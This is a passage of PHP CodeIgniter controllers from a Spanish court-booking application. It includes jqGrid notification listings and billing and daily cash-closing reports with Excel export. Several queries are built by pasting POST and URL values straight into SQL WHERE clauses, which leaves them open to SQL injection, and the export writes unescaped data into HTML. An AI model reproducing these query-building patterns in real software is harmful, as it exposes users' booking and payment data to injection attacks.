$user_group=$profile->group;
$panel_permission = $this->config->item('mails_visualization_permission');
if(!$panel_permission[$user_group]) {
redirect(site_url(), 'Location');
exit();
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
$req_param['where'] = $where;
if(isset($add_params) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];}
$data->page = $this->input->post( "page", TRUE );
//print("<pre>");print_r($record_items);exit();
$data->records = $this->mails->get_data_count($req_param,"all");
$data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->mails->get_data ($req_param, 'none');
$data->rows = $records;
//echo "<pre>"; print_r($data->rows);
echo json_encode ($data );
exit( 0 );
}
# -------------------------------------------------------------------
# Funcion que muestra el detalle del usuario
# -------------------------------------------------------------------
function detail($code)
{
$this->load->model('Notifications_model', 'mails', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$panel_permission = $this->config->item('mails_visualization_permission');
if(!$panel_permission[$user_group]) {
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.');
redirect(site_url(), 'Location');
exit();
}
# Carga estatus para la vista
$array_status = $this->mails->get_status();
# Carga tipos para la vista
$array_types = $this->mails->get_types();
# Carga tipos de destinatarios para la vista
$array_destination_types = $this->mails->get_destination_types();
# Carga de datos para la vista
$data=array(
'meta' => $this->load->view('meta', '', true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true)), true),
'menu' => $this->load->view('menu', '', true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true),
//'form_name' => 'formDetail',
'page' => 'notifications/detail',
'code' => $code,
'notification' => $this->mails->get_notification($code),
'array_status' => $array_status,
'array_types' => $array_types,
'array_destination_types' => $array_destination_types,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
/* pintar */
}
# -------------------------------------------------------------------
# Listado general de los envios de mails usando el jqGrid
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function sended($codigo)
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$panel_permission = $this->config->item('mails_visualization_permission');
if(!$panel_permission[$user_group]) {
$this->session->set_userdata('error_message','No tiene permisos para visualizar esa pagina.');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.');
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id_notification',index:'id_notification', width:1, align:'center',hidden:true},
{name:'type_desc', index:'zz_notification_type.description', width:10, align:'center', editable:true},
{name:'subject', index:'subject', width:25, align:'center', editable:true},
{name:'destination_type_desc', index:'zz_notification_dest_type.description', width:10, align:'center', editable:true},
{name:'destination_text',index:'destination_text', width:25, align:'center'},
{name:'active',index:'active', width:5, align:'center'},
{name:'send',index:'send', width:5, align:'center'},
{name:'start_process', index:'start_process', width:13, align:'center'},
{name:'end_process', index:'end_process', width:13, align:'center'},
{name:'error_count', index:'error_count', width:5, align:'center'},
";
$colnames = "'Id','Tipo','Asunto','Tipo Envio','Destinatario','Activo','Enviado','Inicio', 'Fin','Error'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "notifications/jqgrid_sended/".$codigo,
'title' => 'Listado de emails individuales',
'default_orderfield' => 'id',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '990',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 990; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
$menu_lateral = '';//$this->load->view('reservas_gest/menu_lateral', '', true);
//, 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true)
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('notifications/list_sended', array('grid_code' => $grid_code, 'enable_buttons' => FALSE, 'menu_lateral' => $menu_lateral), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_flashdata('returnOkUrl', site_url('notifications/list_all'));
$this->session->set_flashdata('returnKoUrl', site_url('notifications/list_all'));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de reservas para jqGrid en JSON
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_sended ($codigo)
{
$this->load->model('Notifications_model', 'mails', TRUE);
$where = '';
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$panel_permission = $this->config->item('mails_visualization_permission');
if(!$panel_permission[$user_group]) {
redirect(site_url(), 'Location');
exit();
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
if($where !='') $where.=' AND ';
$where.= 'id_notification = \''.$codigo.'\'';
$req_param['where'] = $where;
if(isset($add_params) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];}
$data->page = $this->input->post( "page", TRUE );
//print("<pre>");print_r($record_items);exit();
$data->records = $this->mails->get_data_sended_count($req_param,"all");
$data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->mails->get_data_sended ($req_param, 'none');
$data->rows = $records;
//echo "<pre>"; print_r($data->rows);
echo json_encode ($data );
exit( 0 );
}
}
/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */```
informes.php
```<?php
class Informes extends Controller {
function Informes()
{
parent::Controller();
//$this->load->helper('flexigrid');
$this->lang->load('reservas');
$this->load->config('facturacion');
}
function index()
{
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$data=array(
'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'main_content' => $this->load->view('informes/index', array(), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
function todas_reservas()
{
$this->load->model('Reservas_model', 'reservas', TRUE);
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$campos_busqueda = $this->simpleSearchFields();
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
//booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc
//print_r($this->reservas->get_global_list());
$where_arr=array();
$selected_sport=$this->input->post('sports');
$selected_court_type=$this->input->post('court_type');
$selected_court=$this->input->post('court');
$selected_status=$this->input->post('status');
$selected_paymentway=$this->input->post('paymentway');
$selected_user=$this->input->post('user');
$selected_no_cost=$this->input->post('no_cost');
$selected_date1=$this->input->post('date1');
if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')). " -1 month"));
$selected_date2=$this->input->post('date2');
if(!isset($selected_date2) || $selected_date2=="") $selected_date2=date($this->config->item('reserve_date_filter_format'));
if($selected_sport!="") array_push($where_arr, "courts.sport_type = '".$selected_sport."'");
if($selected_court_type!="") array_push($where_arr, "courts.court_type = '".$selected_court_type."'");
if($selected_court!="") array_push($where_arr, "id_court = '".$selected_court."'");
if($selected_status!="") array_push($where_arr, "status = '".$selected_status."'");
if($selected_paymentway!="") array_push($where_arr, "id_paymentway = '".$selected_paymentway."'");
if($selected_user!="") array_push($where_arr, "id_user = '".$selected_user."'");
if($selected_no_cost!="") array_push($where_arr, "no_cost = '".$selected_no_cost."'");
if($selected_date1!="") array_push($where_arr, "date >= '".$selected_date1."'");
if($selected_date2!="") array_push($where_arr, "date <= '".$selected_date2."'");
$where=implode(' AND ', $where_arr);
$order='date, courts.name, intervalo';
$order_way='asc';
$records = $this->reservas->get_global_list($where, $order, $order_way, null);
/*
foreach ($records['records']->result() as $row) {
$resultado[] = array(
$row->id,
$row->id_booking,
$row->id_user,
$row->session,
$row->id_court,
$row->fecha,
$row->intervalo,
$row->status,
$row->id_paymentway,
$row->price,
$row->no_cost,
$row->no_cost_desc,
$row->user_desc,
$row->user_phone,
$row->create_user,
$row->create_time,
$row->modify_user,
$row->modify_time,
$row->court_name,
$row->first_name,
$row->last_name,
$row->status_desc,
$row->paymentway_desc
);
}
*/
$resultado=array();
foreach ($records['records']->result() as $row) {
if($row->id_user) $usuario = $row->first_name." ".$row->last_name;
else $usuario = $row->user_desc."(".$row->user_phone.")";
if(!$row->no_cost) $cobro=img( array('src'=>'images/coins.png', "align"=>"absmiddle", "border"=>"0"));
else $cobro=$row->no_cost_desc;
$resultado[] = array(
$row->court_name,
$row->fecha,
$row->intervalo,
$row->status_desc,
$row->paymentway_desc,
$usuario,
$row->price,
$cobro
);
}
//print("<pre>");print_r($resultado);
$fields=array('Pista', 'Fecha', 'Hora', 'Estado de pago', 'Forma de pago', 'Usuario', 'Precio', 'Ingreso');
$contenido = $this->load->view('informes/result', array('resultado' => $resultado, 'campos' => $fields, 'filtros' => $campos_busqueda), TRUE);
$data=array(
'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true),
'main_content' => $contenido,
'form_name' => 'frmInforme',
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de facturaciรณn diaria
# -------------------------------------------------------------------
function facturacion_diaria($formato="")
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->library('calendario');
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$campos_busqueda = $this->simpleSearchFields(array('sports'=>0, 'court_type'=>0, 'court'=>0, 'status'=>0, 'paymentway'=>0, 'date1' => date($this->config->item('reserve_date_filter_format')), 'date2' => date($this->config->item('reserve_date_filter_format'))));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
//booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc
//print_r($this->reservas->get_global_list());
$where_arr=array();
$selected_date1=$this->input->post('date1');
if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format'));
$selected_date2=$this->input->post('date2');
if(!isset($selected_date2) || $selected_date2=="") $selected_date2=date($this->config->item('reserve_date_filter_format'));
$selected_hour1=$this->input->post('hora1');
if(!isset($selected_hour1) || $selected_hour1=="") $selected_hour1='00:00:00';
$selected_hour2=$this->input->post('hora2');
if(!isset($selected_hour2) || $selected_hour2=="") $selected_hour2='23:59:00';
if($selected_date1!="") array_push($where_arr, "date(datetime) >= '".date($this->config->item('date_db_format'), strtotime($selected_date1))."'");
if($selected_date2!="") array_push($where_arr, "date(datetime) <= '".date($this->config->item('date_db_format'), strtotime($selected_date2))."'");
if($selected_hour1!="") array_push($where_arr, "time(datetime) >= '".date($this->config->item('hour_db_format'), strtotime($selected_hour1))."'");
if($selected_hour2!="") array_push($where_arr, "time(datetime) <= '".date($this->config->item('hour_db_format'), strtotime($selected_hour2))."'");
$estados = $this->config->item('payment_considered_to_report');
//echo 'aaaa'; print_r($estados);
array_push($where_arr, "payments.status IN (".implode(', ', $estados).")");
$where=implode(' AND ', $where_arr);
$order='zz_paymentway.description, payments.id_type ';
$order_way='asc';
$records = $this->pagos->get_global_list($where, $order, $order_way, null);
/*
foreach ($records['records']->result() as $row) {
$resultado[] = array(
$row->id,
$row->id_booking,
$row->id_user,
$row->session,
$row->id_court,
$row->fecha,
$row->intervalo,
$row->status,
$row->id_paymentway,
$row->price,
$row->no_cost,
$row->no_cost_desc,
$row->user_desc,
$row->user_phone,
$row->create_user,
$row->create_time,
$row->modify_user,
$row->modify_time,
$row->court_name,
$row->first_name,
$row->last_name,
$row->status_desc,
$row->paymentway_desc
);
}
*/
$resultado=array();
//print("<pre>");print_r($records['records']->result());
foreach ($records['records']->result() as $row) {
if($row->id_user) $usuario = $row->first_name." ".$row->last_name;
else $usuario = $row->desc_user;
if(trim($usuario)=="") $usuario="No registrado";
$info="";
if ($row->id_type=="1" || $row->id_type=="4") {
#Si estamos hablando de reservas de pistas
$info=$this->reservas->getBookingInfoById($row->id_transaction);
$cantidad=$info['intervals']/2;
$fecha=$info['date'];
$minimo=""; $maximo="";
if(isset($info['reserva'])) {
foreach($info['reserva'] as $code => $reserva) {
if ($row->id_type=="1") $pista='Reservas '.$code;
else $pista='Retos '.$code;
foreach($reserva as $dato) {
//print($dato[0]);
if($minimo=="" || $minimo > $dato[0]) $minimo = $dato[0];
if($maximo=="" || $maximo < $dato[1]) $maximo = $dato[1];
}
}
}
} elseif ($row->id_type=="2") {
#Si estamos hablando de un curso
$transaccion = explode('-', $row->id_transaction);
//echo "AA".$transaccion[1];
$info = $this->calendario->getCalendarByRange($transaccion[1]);
//print_r($info);
if(is_object($info)) {
//$pista = $info->court_desc;
//if(!isset($pista) || $pista!="")
$pista = "Desconocida";
$cantidad = (date('U', strtotime($info->end_time)) - date('U', strtotime($info->start_time))) / 3600;
$minimo = date($this->config->item('hour_db_format'), strtotime($info->start_time));
$maximo = date($this->config->item('hour_db_format'), strtotime($info->end_time));
} else {
$pista = "Desconocida";
$cantidad = 1;
$minimo = 1;
$maximo = 2;
}
$pista = "Cuota curso";
} elseif ($row->id_type=="5") {
#Si estamos hablando de una cuota de usuario
$pista = "Cuota usuario";
$cantidad = 1;
$minimo = 1;
$maximo = 2;
} elseif ($row->id_type=="3") {
#Si estamos hablando de pago de prepago
$pista = "Pago bono prepago";
$cantidad = 1;
$minimo = 1;
$maximo = 2;
} elseif ($row->id_type=="98") {
#Si estamos hablando de suplemento luz
$pista = "Suplemento luz";
$cantidad = 1;
$minimo = 1;
$maximo = 2;
} else {
$pista = "Pagos varios";
$cantidad = 1;
$minimo = 1;
$maximo = 2;
}
//print_r($info);
//echo $row->id_transaction."<br>";
$resultado[] = array(
$row->paymentway_desc,
$row->id_type_desc,
date($this->config->item('reserve_date_filter_format'), strtotime($row->datetime)),
$pista,
//number_format($cantidad,2,',', '.'),
$cantidad,
//number_format($row->quantity,2,',', '.'),
$row->quantity,
$minimo,
$maximo,
//$row->datetime,
//$this->lang->line($row->status_desc),
$usuario,
$row->description
);
}
//print("<pre>");print_r($resultado);
if($formato=="excel") {
$this->output->set_header("Content-type: application/vnd.ms-excel");
$this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls");
$_meses=array('','Enero','Febrero', 'Marzo','Abril','Mayo','Junio','Julio','Agosto','Septiembre','Octubre', 'Noviembre','Diciembre');
$_dias=$this->config->item('weekdays_names');
$salida="";
$salida='<table boder="1">'."\r\n";
$salida.='<tr><td>N. Ticket</td><td>Tipo reserva</td><td>Fecha Cobro</td><td>Fecha Valor</td><td>Forma pago</td><td>Servicio</td><td>Concepto</td><td>N. Abonado</td><td>Usuario</td><td>Tipo usuario</td><td>Telefono</td><td>Nivel</td><td>Precio</td><td>Aรฑo</td><td>Mes</td><td>Mes2</td><td>Dia</td><td>Dia Semana</td><td>Dia Semana 2</td></tr>';
foreach ($records['records']->result() as $pago) {
//print_r($pago);exit();
if($pago->id_user) $usuario = $pago->first_name." ".$pago->last_name;
else $usuario = $pago->desc_user;
if($pago->grupo != '') $grupo = $pago->grupo;
else $grupo = 'Anonimo';
if(stristr($pago->description, 'reto ')) $reto = 'Reto';
else $reto = $pago->id_type_desc;
$salida.='<tr><td>'.$pago->ticket_number.'</td><td>'.$pago->id_type_desc.'</td><td>'.$pago->date.'</td><td>'.$pago->fecha_valor.'</td><td>'.$pago->paymentway_desc.'</td><td>'.$reto.'</td><td>'.$pago->description.'</td><td>'.$pago->numero_socio.'</td><td>'.$usuario.'</td><td>'.$grupo.'</td><td>'.$pago->phone.'</td><td>'.str_replace('.', ',', $pago->player_level).'</td><td>'.str_replace('.', ',', $pago->quantity).'</td><td>'.date('Y', strtotime($pago->date)).'</td><td>'.date('m', strtotime($pago->date)).'</td><td>'.$_meses[date('n', strtotime($pago->date))].'</td><td>'.date('d', strtotime($pago->date)).'</td><td>'.date('w', strtotime($pago->date)).'</td><td>'.$_dias[date('w', strtotime($pago->date))].'</td></tr>';
/*
$salida.='<tr>'."\r\n";
$i=0;
foreach($pago as $valor) {
if($i == 4 || $i == 5) $salida.='<td>'.number_format($valor,2,',', '.').'</td>'."\r\n";
else $salida.='<td>'.$valor.'</td>'."\r\n";
$i++;
}
$salida.='</tr>'."\r\n";
*/
}
$salida.='</table>';
$this->output->set_output($salida);
return NULL;
}
//echo $salida;
$array_resultados=array();
//print("<pre>");print_r($resultado);
# Post proceso el resultado para crear un array jerarquizado por niveles donde contenga los pagos por tipo, pista, etc..
foreach($resultado as $pago) {
$total_euro=0;
$total_cantidad=0;
if(isset($array_resultados[$pago[0]])) {
# Si esstรก definido el elemento, recupero el valor anterior para sumรกrselo
$total_euro=$array_resultados[$pago[0]]['total_euro'];
$total_cantidad=$array_resultados[$pago[0]]['total_cantidad'];
} else {
# Si no existe el elemento, es que es la primera vuelta que doy en esa forma de pago, asรญ que reinicio valores.
$array_resultados[$pago[0]]=array('tipo' => $pago[0], 'total_euro' => 0.0, 'total_cantidad' => 0.0, 'detalle' => array());
}
//echo "para pago ".$pago[0]." tenรญa ".$array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad y me quedarรฉ con";
$array_resultados[$pago[0]]['total_euro'] += $pago[5];
$array_resultados[$pago[0]]['total_cantidad'] += $pago[4];
if(isset($array_resultados[$pago[0]]['detalle'][$pago[3]])) {
$detalle = $array_resultados[$pago[0]]['detalle'][$pago[3]];
$detalle['cantidad']+=$pago[4];
$detalle['euros']+=$pago[5];
$array_resultados[$pago[0]]['detalle'][$pago[3]] = $detalle;
} else {
$array_resultados[$pago[0]]['detalle'][$pago[3]]=array('pista' => $pago[3], 'cantidad' => $pago[4], 'euros' => $pago[5]);
//print("<pre>");print_r($array_resultados);
}
//array_push($array_resultados[$pago[0]]['detalle'], );
//echo $array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad<br>".$pago[5].'<br>';
}
//print("<pre>");print_r($array_resultados);
$fields=array('Fecha y hora', 'Concepto','Estado de pago', 'Forma de pago', 'Usuario', 'Cantidad', 'Descripcion');
$contenido = $this->load->view('informes/facturacion_diaria', array('resultado' => $array_resultados, 'campos' => $fields, 'filtros' => $campos_busqueda, 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true)), TRUE);
$data=array(
'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true),
'main_content' => $contenido,
'form_name' => 'frmInforme',
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado para cierre de caja
# -------------------------------------------------------------------
function cierre_dia($formato="")
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$where="date(datetime) = '".date($this->config->item('date_db_format'))."' AND id_paymentway in (1,2)";
$order='zz_paymentway.description, payments.id_type ';
$order_way='asc';
$records = $this->pagos->get_global_list($where, $order, $order_way, null);
/*
foreach ($records['records']->result() as $row) {
$resultado[] = array(
$row->id,
$row->id_booking,
$row->id_user,
$row->session,
$row->id_court,
$row->fecha,
$row->intervalo,
$row->status,
$row->id_paymentway,
$row->price,
$row->no_cost,
$row->no_cost_desc,
$row->user_desc,
$row->user_phone,
$row->create_user,
$row->create_time,
$row->modify_user,
$row->modify_time,
$row->court_name,
$row->first_name,
$row->last_name,
$row->status_desc,
$row->paymentway_desc
);
}
*/
$resultado=array();
//print("<pre>");
foreach ($records['records']->result() as $row) {
if($row->id_user) $usuario = $row->first_name." ".$row->last_name;
else $usuario = $row->desc_user;
if(trim($usuario)=="") $usuario="No registrado";
$info="";
if ($row->id_type=="1") {
#Si estamos hablando de reservas de pistas
$info=$this->reservas->getBookingInfoById($row->id_transaction);
//print("<pre>");print_r($info);
$cantidad=$info['intervals']/2;
$fecha=$info['date'];
$minimo=""; $maximo="";
if(isset($info['reserva'])){
foreach($info['reserva'] as $code => $reserva) {
$pista=$code;
foreach($reserva as $dato) {
//print($dato[0]);
if($minimo=="" || $minimo > $dato[0]) $minimo = $dato[0];
if($maximo=="" || $maximo < $dato[1]) $maximo = $dato[1];
}
}
}
}
//print_r($info);
//echo $row->id_transaction."<br>";
$resultado[] = array(
$row->paymentway_desc,
$row->id_type_desc,
date($this->config->item('reserve_date_filter_format'), strtotime($row->datetime)),
$pista,
//number_format($cantidad,2,',', '.'),
$cantidad,
//number_format($row->quantity,2,',', '.'),
$row->quantity,
$minimo,
$maximo,
//$row->datetime,
//$this->lang->line($row->status_desc),
$usuario
);
}
//print("<pre>");print_r($resultado);
if($formato=="excel") {
$this->output->set_header("Content-type: application/vnd.ms-excel");
$this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls");
$salida="";
$salida='<table boder="1">'."\r\n";
$salida.='<tr><td>Forma Pago</td><td>Tipo reserva</td><td>Fecha</td><td>Servicio</td><td>Cantidad</td><td>Precio</td><td>Inicio</td><td>Fin</td><td>Usuario</td></tr>';
foreach($resultado as $pago) {
$salida.='<tr>'."\r\n";
foreach($pago as $valor) $salida.='<td>'.$valor.'</td>'."\r\n";
$salida.='</tr>'."\r\n";
}
$salida.='</table>';
$this->output->set_output($salida);
return NULL;
}
//echo $salida;
$array_resultados=array();
# Post proceso el resultado para crear un array jerarquizado por niveles donde contenga los pagos por tipo, pista, etc..
foreach($resultado as $pago) {
$total_euro=0;
$total_cantidad=0;
if(isset($array_resultados[$pago[0]])) {
# Si esstรก definido el elemento, recupero el valor anterior para sumรกrselo
$total_euro=$array_resultados[$pago[0]]['total_euro'];
$total_cantidad=$array_resultados[$pago[0]]['total_cantidad'];
} else {
# Si no existe el elemento, es que es la primera vuelta que doy en esa forma de pago, asรญ que reinicio valores.
$array_resultados[$pago[0]]=array('tipo' => $pago[0], 'total_euro' => 0, 'total_cantidad' => 0, 'detalle' => array());
}
//echo "para pago ".$pago[0]." tenรญa ".$array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad y me quedarรฉ con";
$array_resultados[$pago[0]]['total_euro']+=$pago[5];
$array_resultados[$pago[0]]['total_cantidad']+=$pago[4];
if(isset($array_resultados[$pago[0]]['detalle'][$pago[3]])) {
$detalle = $array_resultados[$pago[0]]['detalle'][$pago[3]];
$detalle['cantidad']+=$pago[4];
$detalle['euros']+=$pago[5];
$array_resultados[$pago[0]]['detalle'][$pago[3]] = $detalle;
} else {
$array_resultados[$pago[0]]['detalle'][$pago[3]]=array('pista' => $pago[3], 'cantidad' => $pago[4], 'euros' => $pago[5]);
}
//array_push($array_resultados[$pago[0]]['detalle'], );
//echo $array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad<br>";
}
//print("<pre>");print_r($array_resultados);
$fields=array('Fecha y hora', 'Concepto','Estado de pago', 'Forma de pago', 'Usuario', 'Cantidad', 'Descripcion');
$contenido = $this->load->view('informes/cierre_dia', array('resultado' => $array_resultados, 'campos' => $fields, 'filtros' => array()), TRUE);
$data=array(
'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
//'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true),
'main_content' => $contenido,
'form_name' => 'frmInforme',
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
